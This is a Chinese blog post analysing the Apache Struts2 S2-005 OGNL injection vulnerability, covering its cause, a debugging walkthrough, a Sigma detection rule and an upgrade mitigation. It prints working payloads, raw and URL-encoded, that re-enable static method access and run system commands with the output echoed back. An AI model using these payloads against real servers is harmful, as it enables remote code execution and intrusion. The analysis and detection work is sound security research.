<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ATT&CK-st005漏洞之漏洞分析與利用

    VSole2022-05-19 14:26:43

    STATEMENT

    聲明

    由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。

    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。

    前言

    原理:

    S2-005的出現是因為官方對S2-003的修補不完全導致的。官方通過增加安全配置禁止靜態方法調用(allowStaticMethodAcces)和類方法執行(MethodAccessor.denyMethodExecution)等來修補。但可以被繞過設置allowStaticMethodAccess為true和denyMethodExecution為false,從而導致任意命令執行。

    漏洞影響范圍:

    Struts 2.0.0 - Struts 2.1.8.1

    環境搭建

    下載 st-005 的漏洞環境,通過war包部署,idea運行war包部署后的文件,進行斷點調試。

    payload如下:

    ## 命令執行/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(%22calc%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1回顯:/example/HelloWorld.action?(a)(\u0023_memberAccess.allowStaticMethodAccess\u003dtrue)&(b)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)&(c)(\u0023ret\u003d@java.lang.Runtime@getRuntime().exec('whoami'))&(d)(\u0023dis\u003dnew\u0020java.io.BufferedReader(new\u0020java.io.InputStreamReader(\u0023ret.getInputStream())))&(e)(\u0023res\u003dnew\u0020char[20000])&(f)(\u0023dis.read(\u0023res))&(g)(\u0023writer\u003d@org.apache.struts2.ServletActionContext@getResponse().getWriter())&(h)(\u0023writer.println(new\u0020java.lang.String(\u0023res)))&(i)(\u0023writer.flush())&(j)(\u0023writer.close())
    

    編碼:

    ## 命令執行/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)((%27%5cu0023rt.exec(%22calc%22.split(%22@%22))%27)(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1## 回顯/example/HelloWorld.action?(a)(%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue)&(b)(%5Cu0023context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%5Cu003dfalse)&(c)(%5Cu0023ret%5Cu003d%40java.lang.Runtime%40getRuntime().exec('whoami'))&(d)(%5Cu0023dis%5Cu003dnew%5Cu0020java.io.BufferedReader(new%5Cu0020java.io.InputStreamReader(%5Cu0023ret.getInputStream())))&(e)(%5Cu0023res%5Cu003dnew%5Cu0020char%5B20000%5D)&(f)(%5Cu0023dis.read(%5Cu0023res))&(g)(%5Cu0023writer%5Cu003d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter())&(h)(%5Cu0023writer.println(new%5Cu0020java.lang.String(%5Cu0023res)))&(i)(%5Cu0023writer.flush())&(j)(%5Cu0023writer.close())
    

    代碼分析

    輸入url請求:

    /example/HelloWorld.action?('\u0023\_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(%22calc%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
    

    S2-005的出現是因為官方對S2-003的修補的不完全導致的。官方通過增加安全配置禁止靜態方法調用(allowStaticMethodAcces)和類方法執行(MethodAccessor.denyMethodExecution)等來修補。大家可以先查看st-003漏洞分析過程,這里不再重復啦。

    首先,在ParametersInterceptor攔截器,setParameters方法下,代碼:newStack.setValue(name, value) 這里設置斷點調試。

    對輸入參數進行跟蹤,node參數設置,# _memberAccess['allowStaticMethodAccess'],

    將allowStaticMethodAccess修改為true。

    繼續跟進:

    繼續跟蹤:

    通過invoke方法調用,實現allowStaticMethodAccess參數修改。

    同時,denyMethodExecution參數修改與之類似,不再進一步分析。

    st-003與st-005 參數對比:

    都可以實現denyMethodExecution 參數的修改。

    st-003:(a)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)st-005:(a)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
    

    st-003的命令執行參數無法在st-005漏洞環境上成功。

    st-003:('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)st-005:(asdf)(('\u0023rt.exec(%22calc%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))
    

    同時,st-005多了allowStaticMethodAccess參數的修改,具體如下:

    ('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true
    

    測試用例

    使用工具:Struts2漏洞檢查工具2019版 V2.3.exe進行漏洞驗證,具體如圖:

    檢測規則

    Sigma檢測規則如下:

    title: st-005遠程代碼執行漏洞description: 檢測st-005遠程代碼執行漏洞status: testdate: 2022/04/02author: bigsealogsource:category: webserverdetection:selection:c-uri|contains:- 'allowStaticMethodAccess'- '\u0023_memberAccess'- 'xwork.MethodAccessor.denyMethodExecution'- '\u0023context'- 'java.lang.Runtime'- 'java.lang.ProcessBuilder'condition: selectionfields:- c-ip- c-dnstags:- attack.t1190- attack.initial_access- cve.2010.1870level: Critical
    

    緩解措施

    官方建議Struts升級至 2.2.1版本,或更高版本。

    參考鏈接

    https://xz.aliyun.com/t/2323

    http://www.b1ue.cn/archives/107.html

    https://cwiki.apache.org/confluence/display/WW/S2-005

    漏洞
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    該公司吸引的總投資金額已超過5600萬美元,新一輪融資將主要用于加速公司在全球范圍內的擴張,并支持其從北美到歐洲不斷增長的全球客戶群,同時也將支持推進AI路線和產品技術創新。
    漏洞概述  漏洞名稱Google Chrome WebRTC 堆緩沖區溢出漏洞漏洞編號QVD-2023-48180,CVE-2023-7024公開時間2023-12-20影響量級千萬級奇安信評級高危CVSS 3.1分數8.8威脅類型代碼執行、拒絕服務利用可能性高POC狀態未公開在野利用狀態已發現EXP狀態未公開技術細節狀態未公開利用條件:需要用戶交互。01 漏洞詳情影
    漏洞分析 CVE-2010-0249
    2023-11-25 17:50:17
    漏洞分析 CVE-2010-0249
    漏洞信息共享合作單位證書近日,Coremail獲得由國家信息安全漏洞庫(CNNVD)頒發的“CNNVD漏洞信息共享合作單位”證書。 此證書是國家權威機構對Coremail安全研究技術和漏洞挖掘技術實力的充分肯定,也是雙方合作的里程碑。 國家信息安全漏洞庫(CNNVD), 為負責建設運維的國家級信息安全漏洞數據管理平臺, 旨在為我國信息安全保障提供服務。  “
    漏洞預警 CraftCMS遠程代碼執行漏洞
    漏洞排查與處置,是安全管理員在安全運營中都會碰到的問題,常見卻很難做好。
    美國聯邦調查局于近日警告稱,梭子魚電子郵件安全網關(ESG)的一個重要遠程命令注入漏洞的補丁 "無效",已打補丁的設備仍在不斷受到攻擊。
    點擊上方藍字 關注安全知識引言Fiora:漏洞PoC框架Nuclei的圖形版。快捷搜索PoC、一鍵運行Nu
    Mikrotik RouterOS操作系統不支持暴力保護,默認的“admin”用戶密碼在2021年10月之前是空字符串。更讓人震驚的是,檢測CVE-2023-30799的利用“幾乎不可能”,因為RouterOS web和Winbox接口實現了自定義加密,而威脅檢測系統Snort和Suricata無法解密和檢查這些加密。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类